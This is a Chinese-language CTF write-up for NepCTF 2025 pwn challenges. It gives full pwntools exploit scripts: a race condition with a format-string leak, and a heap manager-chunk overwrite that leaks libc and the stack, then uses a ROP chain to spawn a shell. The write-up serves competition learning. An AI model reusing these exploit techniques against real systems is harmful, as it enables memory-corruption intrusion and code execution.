Nepctf2025 Pwn Wp

2025-07-27

致歉

​ 由于本人图方便在比赛结束前就上传我的题解和wp到博客里,导致我的答案和思路在比赛期间被别人搜到,在此对Nep的师傅们深表歉意😭😭😭

正文

上班回来的周末打会ctf稳稳手感,这周实在太累了,导致周末这几天几乎每天都半睡半醒的打ctf,到最后只抽出来清醒的时间做了两题,不过题目质量确实还可以。

Time[sloved]

条件竞争,题目把filename放在全局变量又单独开一个子线程去读取文件,我们可以趁检查文件名和读取文件的窗口期修改flilename,但不是fork出来的所以我们只能开一个process,同时我们需要在自己的process里开子线程去轮询修改filename为flag,最后通过格式化字符串把读取的文件内容打印出来。

打印出来发现是小端序,我们以8字节为单位逆序hex解密出来的flag

from pwn import *
import threading
import time

context.log_level = 'fatal'

#p = process('./time')
host = "nepctf31-aykg-jkyc-gdwg-nrfukdgcb788.nepctf.com"
port = 443
p = remote(host, port, ssl=True, sni=host)


def race_send_filename(new_name, delay):
    while True:
        time.sleep(delay)
        p.sendline(new_name)

# 主线程
def main():
    p.recvuntil(b"please input your name:")
    p.sendline(b'%22$p%23$p%24$p%25$p%26$p%27$p%28$p%29$p%30$p%31$p')
    p.recvuntil(b"good luck :-)")

    while True:

        p.recvuntil(b"input file name you want to read:")
        
        p.sendline(b"hint.txt")

        t = threading.Thread(target=race_send_filename, args=(b"flag", 0.001))
        t.daemon = True
        t.start()

        time.sleep(0.05)

        try: 
              p.recvuntil(b'hello ')
              str = p.recvuntil(b' ,your',drop=True)#.decode()
              print(str)
 
        except:
            continue

if __name__ == '__main__':
    main()

ASTRAY[solved]

题目申请了一个大堆块用来存储数据,我们称之为DataChunk,又在全局变量处存储大堆块地址,然而题目首先错误的把MANAGER CHUNK放在了DataChunk的第一块,使我们可以任意READ和WRITE我们的MANAGER CHUNK,打法有很多,我这里选择读GOT泄露environ去栈里打ROP

from pwn import *

host = "nepctf30-tpu0-8b89-1psz-hnwxscmrs142.nepctf.com"
port = 443
io = remote(host, port, ssl=True, sni=host)

#io = process('./astray')
context.arch='amd64'
#context.log_level='debug'
libc = ELF('libc.so.6')

def mana_read(idx):
        io.sendlineafter(b'(1:manager 1000:user)\n',b'1')
        io.sendafter(b'visit user(MANAGER_visit)\n',b'MANAGER_read')
        io.sendlineafter(b'manager can visit\n',str(idx).encode())
def mana_visit_w(idx,cho,con):
        io.sendlineafter(b'(1:manager 1000:user)\n',b'1')
        io.sendafter(b'visit user(MANAGER_visit)\n',b'MANAGER_visit')
        io.sendlineafter(b'manager can visit\n',str(idx).encode())
        io.sendlineafter(b'user_logs',b'2')
        io.send(con)
def mana_visit_r(idx):
        io.sendlineafter(b'(1:manager 1000:user)\n',b'1')
        io.sendafter(b'visit user(MANAGER_visit)\n',b'MANAGER_visit')
        io.sendlineafter(b'manager can visit\n',str(idx).encode())
        io.sendlineafter(b'user_logs',b'1')
def fake_visit(idx):
        io.sendlineafter(b'(1:manager 1000:user)\n',b'1000')
        io.sendafter(b'logs(USER_write)\n',b'MANAGER_visit')
        io.sendlineafter(b'user can visit\n',str(idx).encode())

def user_write(idx,con):
        io.sendlineafter(b'(1:manager 1000:user)\n',b'1000')
        io.sendafter(b'logs(USER_write)\n',b'USER_write')
        io.sendlineafter(b'user can visit\n',str(idx).encode())
        io.send(con)
def user_read(idx):
        io.sendlineafter(b'(1:manager 1000:user)\n',b'1000')
        io.sendafter(b'logs(USER_write)\n',b'USER_read')
        io.sendlineafter(b'user can visit\n',str(idx).encode())
        #io.send(con)
def user_ops():
        io.sendlineafter(b'What action do you want to take?\n',b'1000')
def hack_read(idx,base_addr,read_addr):
        io.send
log.info("------------------------leakAddr------------------------")
mana_read(0)
io.recv(8)
leak1 = u64(io.recv(8))
log.info(hex(leak1))
leak2 = u64(io.recv(8))
log.info(hex(leak2))

log.info("------------------------Poisoning-----------------------")
log.info("Step1:Leak LIBC")
info = p64(0x1)+p64(leak1)+p64(leak2-0x18)
fake_visit(0) 
mana_visit_w(1,b'2',info)
target = leak2 + 0x559eb7398f98 - 0x559eb73991a0
log.info("GOT : "+hex(target))
info = p64(target)
user_write(19,info)
mana_visit_r(1)
#gdb.attach(io)
io.recvuntil(b'user_logs\n')
libcA = u64(io.recv(8)) + 0x7f1b0f000000 - 0x7f1b0f114870
log.info("LIBC : "+hex(libcA))
leak3 = io.recvuntil(b'Which',drop=True) 

log.info("Step2:Leak STACK")
#one_gadget : 0xebc81 0xebc85 0xebc88 0xebce2 0xebd38 0xebd3f 0xebd43 
one = libcA + 0xebd43
environ = libcA + libc.symbols['environ']
log.info("OGG : "+hex(one))
log.info("ENVIRON : "+hex(environ))
info = p64(environ-0x10)
user_write(19,info)
mana_visit_r(1)
io.recvuntil(b'user_logs\n')
io.recv(16)
stackA = u64(io.recv(8))
log.info("STACK : "+hex(stackA))
#gdb.attach(io)
stack = stackA + 0x7ffc72e11818 - 0x7ffc72e11968

user_write(19,p64(stack))
bsh = libcA + next(libc.search("/bin/sh\x00"))
rdi = libcA + 0x2a3e5
sys = libcA + libc.symbols['system']
ret = libcA + 0x29139
rop = p64(rdi) + p64(bsh) + p64(ret) + p64(sys)
#gdb.attach(io)
mana_visit_w(1,b'2',rop) 
io.interactive()

kali-linux-2022.1-vmware-amd64-2025-07-27-09-51-24

smallbox[unsolved]

ptrace注入,懒得写shellcode了,找时间赛后一波吧